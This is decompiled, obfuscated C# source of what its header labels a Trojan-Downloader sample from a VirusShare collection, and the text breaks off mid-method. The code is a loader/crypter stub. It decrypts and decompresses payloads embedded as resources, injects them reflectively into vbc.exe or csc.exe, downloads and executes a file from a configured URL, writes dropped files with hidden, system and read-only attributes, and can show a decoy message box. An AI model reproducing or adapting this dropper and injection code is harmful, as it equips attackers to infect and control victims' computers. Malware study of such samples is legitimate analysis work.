// Decompiled with JetBrains decompiler
// Type: Vza1nv3mnlezcxvyx.ekrod4bellvfxnmof
// Assembly: hh2ifwz3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 68766CC0-7547-4113-80E9-8D0602728CEB
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.Win32.VB.anrt-380e52e4d9ffde603129df7f732dbf8782a7e1ed33d5b4ff17391d0a97e97afe.exe

using Microsoft.Win32;
using Rjk3ibeceopw5x00uimwa5h2w;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;

namespace Vza1nv3mnlezcxvyx
{
  public class ekrod4bellvfxnmof
  {
    private static bool Pfc4nm2xfxznssiyioxrgqtphwj0yo4me = true;
    private byte[] Tts2baf3wiatv5ghnswu3fu4o;
    private bool sdztd0ena42ywf4cfnspntfxhjgjjuo2x;
    private string vazu5g3yn2qoupbzrnflcm5ta;
    private string jfq5w2hqrukvsivotb2eaetcj;
    private string H43ao0q1ckx2y3w0qhozixdn5 = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0");
    private int C2zbxxi4za2fdbthchmjymbz0;
    private int Zusxmm13kjq0lro02;
    private int Byijlyljtwhknkf5jkcwcjhnmxbyfow1f;
    private string Mi5ejdb45agibefgw = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ROX");
    private string Vwrshilkfvt1muxtiaxqao2vn = string.Empty;
    private string Va4nkquvaa0egawrugbp4frralrih1cl5 = string.Empty;
    private int vu05zlvgf2zzuc3uhqtm0qh2kdijzsnxb;
    private string act0dsy5xkcjtyk4udzmsxpor = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0");
    private string mehj1nkb5kab31y4pa5zzd3zh = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0");
    private string Z2sx3vgolcrkx42a5b2bhnmdt = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0");
    private string wvlwdt5q3igbdkbluauqgzxazzitgesk2 = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0");
    private string ljjgffrum0vanmiev3ujguzbfjpaluf1a = string.Empty;
    private string Ns5tkmgwpxzdzhfzygk50izkv = string.Empty;
    private string Dxpmu5z21l0jogt41vcdm0t2p = string.Empty;
    private string hdb50yp4mb51cxajtk2qahcip = string.Empty;
    private string Qmztipvjjobds0bdpgipbz14g = string.Empty;
    private string mqmfhbfuww2freoox = string.Empty;
    private string Kkrle03d2ekkcyuc2c2102hjd = string.Empty;
    private string hyrbz1kfxjvaxj0vistcunjymen3kporm = string.Empty;
    private string Ajiami1b52zvc3vohgymtmh5a = string.Empty;
    private string R3u01lftwibuhcd22 = string.Empty;
    private string Zjtchyef12cwxg4onylzlprmn = string.Empty;
    private bool cxhxnrorc5mp1ujxhtq1kbke4;
    private bool Fkgl04y45wljpapzd;
    private string U5rbzma1hlby3eyyhjbmc5kyd = string.Empty;
    private string Odlyq3qfbpoq3mg0so5fipxwu = string.Empty;
    private bool cwygyk0oxmm4oly4f;
    private string Obpmsku4cgcztab1lmoobkyt5 = string.Empty;
    private string gkgcqdokyjuxym4wq0314usgk = string.Empty;
    private string nd5mirnaddlzplmuj2yyvlyhv = string.Empty;
    private string Jxy14wwtwogymn1qrjcja2xpw = string.Empty;
    private bool Mebghajzp0czroix5exzsbjcb;
    private bool rkkwfbuqo0azkksqy;
    private bool buvpnbb4jdddrparyku5zhpzb;
    private bool cgkruwksz1uyngdvorfai14estiwjwa22;
    private object zuc0g2puhfoogprwx4kio2wu1;
    private MethodInfo Gdjkuqh0cbgb2rrfkrtpdepl3;

    private byte[] h3mz2iy1yrgiwje2h(
      byte[] V1vn1s3fuxwiz1zga0ixvfsqwh4o403an,
      int nmn3ufkvroquqymwx)
    {
      GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(V1vn1s3fuxwiz1zga0ixvfsqwh4o403an), CompressionMode.Decompress);
      byte[] buffer = new byte[nmn3ufkvroquqymwx];
      gzipStream.Read(buffer, 0, buffer.Length);
      return buffer;
    }

    private object Xthp414gtl2l4oueqfpd4vbwz(int nauf3mqkhnk2uh1b0ctkgdwzdgjublhyf)
    {
      Assembly assembly = Assembly.Load(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.br40vohypenwwv4th(ekrod4bellvfxnmof.S2suq1p5s53jd0tp35scdyryf(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("lld.EPnur"))));
      Thread.Sleep(1000);
      System.Type type = assembly.GetTypes()[nauf3mqkhnk2uh1b0ctkgdwzdgjublhyf];
      this.Gdjkuqh0cbgb2rrfkrtpdepl3 = type.GetMethod(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("nuR"));
      return Activator.CreateInstance(type);
    }

    public static byte[] S2suq1p5s53jd0tp35scdyryf(string qocihecx3yidmrejz)
    {
      using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(qocihecx3yidmrejz))
      {
        byte[] buffer = new byte[1024];
        using (MemoryStream memoryStream = new MemoryStream())
        {
          while (true)
          {
            int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
            if (count > 0)
              memoryStream.Write(buffer, 0, count);
            else
              break;
          }
          return memoryStream.ToArray();
        }
      }
    }

    private byte[] pcbc3w2jxlqgmdfs0dlf3dbkc(byte[] Rmzrohqsvjl2eukqp)
    {
      if (this.Mi5ejdb45agibefgw == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("rox"))
        Rmzrohqsvjl2eukqp = wisp1ff1rpzacn3jgfnasrkhmiolo44qt.br40vohypenwwv4th(Rmzrohqsvjl2eukqp);
      return Rmzrohqsvjl2eukqp;
    }

    private void Dsqyxep1xbkqqwuokcmpwlnunygdkudqf()
    {
      try
      {
        byte[] numArray = new WebClient().DownloadData(new Uri(this.Obpmsku4cgcztab1lmoobkyt5));
        if (this.gkgcqdokyjuxym4wq0314usgk == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0"))
        {
          try
          {
            if (!this.Eapnz3st2tmrdospqmsffns5v(numArray))
            {
              this.zuc0g2puhfoogprwx4kio2wu1 = this.Xthp414gtl2l4oueqfpd4vbwz(0);
              this.Gdjkuqh0cbgb2rrfkrtpdepl3.Invoke(this.zuc0g2puhfoogprwx4kio2wu1, new object[3]
              {
                (object) numArray,
                (object) this.Odlyq3qfbpoq3mg0so5fipxwu,
                null
              });
            }
          }
          catch
          {
            string tempFileName = Path.GetTempFileName();
            this.c55ygxxz3rp1vsemw5o013b42(numArray, tempFileName, true);
          }
        }
        if (!(this.gkgcqdokyjuxym4wq0314usgk == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1")))
          return;
        string str = this.nd5mirnaddlzplmuj2yyvlyhv + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\") + this.Jxy14wwtwogymn1qrjcja2xpw;
        this.c55ygxxz3rp1vsemw5o013b42(numArray, str, true);
        if (this.Mebghajzp0czroix5exzsbjcb)
          System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
        if (this.rkkwfbuqo0azkksqy)
          System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
        if (!this.buvpnbb4jdddrparyku5zhpzb)
          return;
        System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
      }
      catch (Exception ex)
      {
      }
    }

    private static void kv5qn4lnozkkzgj3vdlka0jwl(byte[] Aucuhbtavanuedaqa)
    {
      try
      {
        Thread thread = new Thread(new ParameterizedThreadStart(ekrod4bellvfxnmof.Ezm5v3x5yymbsublp));
        thread.SetApartmentState(ApartmentState.STA);
        thread.Start((object) Aucuhbtavanuedaqa);
        thread.Join();
      }
      catch
      {
        ekrod4bellvfxnmof.Pfc4nm2xfxznssiyioxrgqtphwj0yo4me = false;
      }
    }

    private static void Ezm5v3x5yymbsublp(object cbftjeed2ce2adwwe4mzldgan)
    {
      try
      {
        MethodInfo entryPoint = Assembly.Load((byte[]) cbftjeed2ce2adwwe4mzldgan).EntryPoint;
        if (entryPoint.GetParameters().Length == 1)
          entryPoint.Invoke((object) null, new object[1]
          {
            (object) new string[0]
          });
        else
          entryPoint.Invoke((object) null, (object[]) null);
      }
      catch
      {
        ekrod4bellvfxnmof.Pfc4nm2xfxznssiyioxrgqtphwj0yo4me = false;
      }
    }

    private bool Eapnz3st2tmrdospqmsffns5v(byte[] cjulchhdqxyzkyudifjjo2o31)
    {
      ekrod4bellvfxnmof.kv5qn4lnozkkzgj3vdlka0jwl(cjulchhdqxyzkyudifjjo2o31);
      bool pfc4nm2xfxznssiyioxrgqtphwj0yo4me = ekrod4bellvfxnmof.Pfc4nm2xfxznssiyioxrgqtphwj0yo4me;
      ekrod4bellvfxnmof.Pfc4nm2xfxznssiyioxrgqtphwj0yo4me = true;
      return pfc4nm2xfxznssiyioxrgqtphwj0yo4me;
    }

    private void c55ygxxz3rp1vsemw5o013b42(
      byte[] hzigskm110h1nfyzxef4f250l,
      string Sykxwcxny5q4qajbe,
      bool hfm3jqdunhihvesbsfgqdjg4j)
    {
      try
      {
        System.IO.File.WriteAllBytes(Sykxwcxny5q4qajbe, hzigskm110h1nfyzxef4f250l);
        if (!hfm3jqdunhihvesbsfgqdjg4j)
          return;
        new Process()
        {
          StartInfo = {
            FileName = Sykxwcxny5q4qajbe
          }
        }.Start();
      }
      catch
      {
      }
    }

    private byte[] n321udrptnm3xnkdwdxsh0wft(
      string Juxxajgoa55m1rpp3wo1ces5w,
      int Doydtmooq4wyxmncj,
      string q05wpvgwzb3o3sxhl)
    {
      try
      {
        IntPtr hModule = ch2futx3h3zpmhyzsblwlfrdktcnf3voh.Pnqgzzjk5f0hyikci(string.Empty);
        IntPtr hResInfo = ch2futx3h3zpmhyzsblwlfrdktcnf3voh.Ffz3mpnfyg4clsrkfrhqubycp(hModule, Doydtmooq4wyxmncj, q05wpvgwzb3o3sxhl);
        uint length = ch2futx3h3zpmhyzsblwlfrdktcnf3voh.Ncmhhqqsfk5fqfa4eo2qymkyp(hModule, hResInfo);
        IntPtr source = ch2futx3h3zpmhyzsblwlfrdktcnf3voh.yeyqpjvohzgayjchvjm2bzdvn(hModule, hResInfo);
        byte[] destination = new byte[(IntPtr) length];
        Marshal.Copy(source, destination, 0, (int) length);
        return destination;
      }
      catch (Exception ex)
      {
        Console.WriteLine(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri(" :ecruoser gnidaer rorrE") + Environment.NewLine + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri(" :edoc rorrE") + ex.Message);
        return (byte[]) null;
      }
    }

    private string rxto5yfudomwo4quiatvxlgxu(string Mbiqervyw5m4axeh1jzypdawz)
    {
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("htaP noitacilppA"))
        Mbiqervyw5m4axeh1jzypdawz = Application.StartupPath + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("pmeT"))
        Mbiqervyw5m4axeh1jzypdawz = Path.GetTempPath();
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ataDppA"))
        Mbiqervyw5m4axeh1jzypdawz = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("stnemucoD yM"))
        Mbiqervyw5m4axeh1jzypdawz = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("potkseD"))
        Mbiqervyw5m4axeh1jzypdawz = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("eliforP resU"))
        Mbiqervyw5m4axeh1jzypdawz = Environment.GetEnvironmentVariable(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ELIFORPRESU")) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      if (Mbiqervyw5m4axeh1jzypdawz == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("seliF margorP"))
        Mbiqervyw5m4axeh1jzypdawz = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      return Mbiqervyw5m4axeh1jzypdawz;
    }

    private string Lzzeex3tbjpnswaet3q3lgne0(string Xp3a2j1mbsdadmfpxakut5qur)
    {
      string str = string.Empty;
      if (Xp3a2j1mbsdadmfpxakut5qur == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("0"))
        str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      if (Xp3a2j1mbsdadmfpxakut5qur == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
        str = Path.GetTempPath();
      if (Xp3a2j1mbsdadmfpxakut5qur == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("2"))
        str = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\");
      return str;
    }

    private void Myk2onyuqzunnxikmdzm0nc2t(string Rmzrohqsvjl2eukqp)
    {
      string[] separator1 = new string[1]
      {
        wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("k3txyjv4t1shfwvlu0g5eijqg")
      };
      string[] separator2 = new string[1]
      {
        wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("wyaq1kdfdoichsv0drqddokfz")
      };
      string[] strArray1 = Rmzrohqsvjl2eukqp.Split(separator1, StringSplitOptions.None);
      string empty1 = string.Empty;
      string empty2 = string.Empty;
      string empty3 = string.Empty;
      for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
      {
        string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
        byte[] numArray = panz0mon2f5aateyhtphwozah.ydxqx4ckpkuemhnp4n2eb4laj(strArray2[1]);
        string str1 = strArray2[2];
        bool boolean1 = Convert.ToBoolean(strArray2[3]);
        string Mbiqervyw5m4axeh1jzypdawz = strArray2[4];
        bool boolean2 = Convert.ToBoolean(strArray2[5]);
        bool boolean3 = Convert.ToBoolean(strArray2[6]);
        int int32 = Convert.ToInt32(strArray2[7]);
        bool boolean4 = Convert.ToBoolean(strArray2[8]);
        string str2 = this.rxto5yfudomwo4quiatvxlgxu(Mbiqervyw5m4axeh1jzypdawz);
        if (boolean1)
        {
          if (boolean3)
            numArray = this.h3mz2iy1yrgiwje2h(numArray, int32);
          if (boolean2)
            numArray = this.pcbc3w2jxlqgmdfs0dlf3dbkc(numArray);
          if (!boolean4)
          {
            try
            {
              this.zuc0g2puhfoogprwx4kio2wu1 = this.Xthp414gtl2l4oueqfpd4vbwz(0);
              this.Gdjkuqh0cbgb2rrfkrtpdepl3.Invoke(this.zuc0g2puhfoogprwx4kio2wu1, new object[3]
              {
                (object) numArray,
                (object) this.Odlyq3qfbpoq3mg0so5fipxwu,
                null
              });
            }
            catch (Exception ex)
            {
              Console.WriteLine(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri(" :yromem otni elif dnuob gnitcejni rorrE") + Environment.NewLine + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri(" :edoc rorrE") + ex.Message);
            }
          }
          else if (!this.Eapnz3st2tmrdospqmsffns5v(numArray))
            Console.WriteLine(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri(" :noitcelfer gnisu elif dnuob gnitcejni rorrE"));
        }
        else
        {
          string Sykxwcxny5q4qajbe = str2 + str1;
          if (boolean2)
            numArray = this.pcbc3w2jxlqgmdfs0dlf3dbkc(numArray);
          this.c55ygxxz3rp1vsemw5o013b42(numArray, Sykxwcxny5q4qajbe, true);
        }
      }
    }

    private void i4apa2zau4uyfet5mwpyrsauzpucwiech(string Rmzrohqsvjl2eukqp)
    {
      string[] separator1 = new string[1]
      {
        wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("e5lrvzg0cetvafc32duupzktp")
      };
      string[] strArray1 = Rmzrohqsvjl2eukqp.Split(separator1, StringSplitOptions.None);
      string[] separator2 = new string[1]
      {
        wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ssz5rvlgcnqpykzaU")
      };
      string[] strArray2 = Rmzrohqsvjl2eukqp.Split(separator2, StringSplitOptions.None);
      string[] separator3 = new string[1]
      {
        wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("egekjywbybggo5kvkbs0ogvif")
      };
      string[] strArray3 = Rmzrohqsvjl2eukqp.Split(separator3, StringSplitOptions.None);
      string[] separator4 = new string[1]
      {
        wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("lvbqcbgqoc0vhbpmd")
      };
      string[] strArray4 = Rmzrohqsvjl2eukqp.Split(separator4, StringSplitOptions.None);
      this.H43ao0q1ckx2y3w0qhozixdn5 = strArray1[1];
      this.vazu5g3yn2qoupbzrnflcm5ta = strArray1[2];
      this.jfq5w2hqrukvsivotb2eaetcj = strArray1[3];
      this.C2zbxxi4za2fdbthchmjymbz0 = Convert.ToInt32(strArray1[4]);
      this.Zusxmm13kjq0lro02 = Convert.ToInt32(strArray1[5]);
      this.Byijlyljtwhknkf5jkcwcjhnmxbyfow1f = Convert.ToInt32(strArray1[6]);
      this.Mi5ejdb45agibefgw = strArray2[1];
      this.Vwrshilkfvt1muxtiaxqao2vn = strArray2[2];
      this.Va4nkquvaa0egawrugbp4frralrih1cl5 = strArray2[3];
      this.vu05zlvgf2zzuc3uhqtm0qh2kdijzsnxb = Convert.ToInt32(strArray3[1]);
      this.act0dsy5xkcjtyk4udzmsxpor = strArray3[2];
      this.mehj1nkb5kab31y4pa5zzd3zh = strArray3[3];
      this.Z2sx3vgolcrkx42a5b2bhnmdt = strArray3[4];
      this.wvlwdt5q3igbdkbluauqgzxazzitgesk2 = strArray3[5];
      this.ljjgffrum0vanmiev3ujguzbfjpaluf1a = strArray3[6];
      this.Ns5tkmgwpxzdzhfzygk50izkv = strArray3[7];
      this.Dxpmu5z21l0jogt41vcdm0t2p = strArray3[8];
      this.hdb50yp4mb51cxajtk2qahcip = strArray3[9];
      this.Qmztipvjjobds0bdpgipbz14g = strArray3[10];
      this.mqmfhbfuww2freoox = strArray3[11];
      this.Kkrle03d2ekkcyuc2c2102hjd = this.Lzzeex3tbjpnswaet3q3lgne0(strArray3[12]);
      this.hyrbz1kfxjvaxj0vistcunjymen3kporm = strArray3[13];
      this.Ajiami1b52zvc3vohgymtmh5a = strArray3[14];
      this.R3u01lftwibuhcd22 = strArray3[15];
      this.cxhxnrorc5mp1ujxhtq1kbke4 = Convert.ToBoolean(strArray3[16]);
      this.Fkgl04y45wljpapzd = Convert.ToBoolean(strArray3[17]);
      this.U5rbzma1hlby3eyyhjbmc5kyd = this.rxto5yfudomwo4quiatvxlgxu(strArray3[18]) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\") + Path.GetRandomFileName();
      this.Zjtchyef12cwxg4onylzlprmn = strArray3[19];
      this.Odlyq3qfbpoq3mg0so5fipxwu = strArray3[20];
      this.U5rbzma1hlby3eyyhjbmc5kyd = this.U5rbzma1hlby3eyyhjbmc5kyd.Substring(0, this.U5rbzma1hlby3eyyhjbmc5kyd.Length - 4) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("exe.");
      Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System));
      switch (this.Odlyq3qfbpoq3mg0so5fipxwu)
      {
        case "0":
          try
          {
            this.Odlyq3qfbpoq3mg0so5fipxwu = IntPtr.Size != 4 ? Environment.GetEnvironmentVariable(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ridniw")) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("exe.cbv\\72705.0.2v\\46krowemarF\\TEN.tfosorciM\\") : Environment.GetEnvironmentVariable(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ridniw")) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("exe.cbv\\72705.0.2v\\krowemarF\\TEN.tfosorciM\\");
            break;
          }
          catch (Exception ex)
          {
            break;
          }
        case "1":
          this.Odlyq3qfbpoq3mg0so5fipxwu = Environment.GetEnvironmentVariable(wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("ridniw")) + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("exe.csc\\72705.0.2v\\krowemarF\\TEN.tfosorciM\\");
          break;
      }
      this.cwygyk0oxmm4oly4f = Convert.ToBoolean(strArray4[1]);
      this.Obpmsku4cgcztab1lmoobkyt5 = strArray4[2];
      this.gkgcqdokyjuxym4wq0314usgk = strArray4[3];
      this.nd5mirnaddlzplmuj2yyvlyhv = strArray4[4];
      this.Jxy14wwtwogymn1qrjcja2xpw = strArray4[5];
      this.Mebghajzp0czroix5exzsbjcb = Convert.ToBoolean(strArray4[6]);
      this.rkkwfbuqo0azkksqy = Convert.ToBoolean(strArray4[7]);
      this.buvpnbb4jdddrparyku5zhpzb = Convert.ToBoolean(strArray4[8]);
      this.cgkruwksz1uyngdvorfai14estiwjwa22 = Convert.ToBoolean(strArray4[9]);
      this.nd5mirnaddlzplmuj2yyvlyhv = this.rxto5yfudomwo4quiatvxlgxu(this.nd5mirnaddlzplmuj2yyvlyhv);
      MessageBoxButtons[] messageBoxButtonsArray = new MessageBoxButtons[6]
      {
        MessageBoxButtons.OK,
        MessageBoxButtons.OKCancel,
        MessageBoxButtons.YesNo,
        MessageBoxButtons.YesNoCancel,
        MessageBoxButtons.RetryCancel,
        MessageBoxButtons.AbortRetryIgnore
      };
      MessageBoxIcon[] messageBoxIconArray = new MessageBoxIcon[5]
      {
        MessageBoxIcon.Hand,
        MessageBoxIcon.Asterisk,
        MessageBoxIcon.Question,
        MessageBoxIcon.Exclamation,
        MessageBoxIcon.None
      };
      if (!(this.H43ao0q1ckx2y3w0qhozixdn5 == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1")))
        return;
      Thread.Sleep(this.Byijlyljtwhknkf5jkcwcjhnmxbyfow1f * 1000);
      int num = (int) MessageBox.Show(this.vazu5g3yn2qoupbzrnflcm5ta, this.jfq5w2hqrukvsivotb2eaetcj, messageBoxButtonsArray[this.C2zbxxi4za2fdbthchmjymbz0], messageBoxIconArray[this.Zusxmm13kjq0lro02]);
    }

    public void fkjhdaxsce2gfuv1fe5y42qsk()
    {
      string executablePath = Application.ExecutablePath;
      try
      {
        this.i4apa2zau4uyfet5mwpyrsauzpucwiech(panz0mon2f5aateyhtphwozah.Dsknrcn3xgwm4kutqcymeqtg4(this.n321udrptnm3xnkdwdxsh0wft(executablePath, 55, wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("2U1TFWIUJIOH2YSDWUUDE1JLPQHUHN0TQ"))));
        this.Tts2baf3wiatv5ghnswu3fu4o = this.n321udrptnm3xnkdwdxsh0wft(executablePath, 38, wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("PQDKZJWPOV44MQSBJ"));
        if (this.act0dsy5xkcjtyk4udzmsxpor == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
          this.Tts2baf3wiatv5ghnswu3fu4o = this.h3mz2iy1yrgiwje2h(this.Tts2baf3wiatv5ghnswu3fu4o, this.vu05zlvgf2zzuc3uhqtm0qh2kdijzsnxb);
        this.Tts2baf3wiatv5ghnswu3fu4o = this.pcbc3w2jxlqgmdfs0dlf3dbkc(this.Tts2baf3wiatv5ghnswu3fu4o);
        if (!this.cxhxnrorc5mp1ujxhtq1kbke4)
        {
          this.zuc0g2puhfoogprwx4kio2wu1 = this.Xthp414gtl2l4oueqfpd4vbwz(0);
          this.Gdjkuqh0cbgb2rrfkrtpdepl3.Invoke(this.zuc0g2puhfoogprwx4kio2wu1, new object[3]
          {
            (object) this.Tts2baf3wiatv5ghnswu3fu4o,
            (object) this.Odlyq3qfbpoq3mg0so5fipxwu,
            (object) wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("")
          });
        }
        else
          this.Eapnz3st2tmrdospqmsffns5v(this.Tts2baf3wiatv5ghnswu3fu4o);
        if (this.Fkgl04y45wljpapzd)
          this.c55ygxxz3rp1vsemw5o013b42(this.Tts2baf3wiatv5ghnswu3fu4o, this.U5rbzma1hlby3eyyhjbmc5kyd, true);
        string str;
        if (!string.IsNullOrEmpty(this.Zjtchyef12cwxg4onylzlprmn))
        {
          str = this.Kkrle03d2ekkcyuc2c2102hjd + this.Zjtchyef12cwxg4onylzlprmn + wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("\\") + this.mqmfhbfuww2freoox;
          Directory.CreateDirectory(this.Kkrle03d2ekkcyuc2c2102hjd + this.Zjtchyef12cwxg4onylzlprmn);
        }
        else
          str = this.Kkrle03d2ekkcyuc2c2102hjd + this.mqmfhbfuww2freoox;
        if (this.mehj1nkb5kab31y4pa5zzd3zh == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
          this.Ruzxivkrma3hdd1il(this.ljjgffrum0vanmiev3ujguzbfjpaluf1a, this.Dxpmu5z21l0jogt41vcdm0t2p, str, 1);
        if (this.Z2sx3vgolcrkx42a5b2bhnmdt == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
          this.Ruzxivkrma3hdd1il(this.ljjgffrum0vanmiev3ujguzbfjpaluf1a, this.hdb50yp4mb51cxajtk2qahcip, str, 2);
        if (this.wvlwdt5q3igbdkbluauqgzxazzitgesk2 == wisp1ff1rpzacn3jgfnasrkhmiolo44qt.Kdmkmnso0da20rhdguq3p4oj1cpbgyqri("1"))
          this.Ruzxivkrma3hdd1il(this.Ns5tkmgwpxzdzhfzygk50izkv, this.Qmztipvjjobds0bdpgipbz14g, str, 3);
        if (this.sdztd0ena42ywf4cfnspntfxhjgjjuo2x)
        {
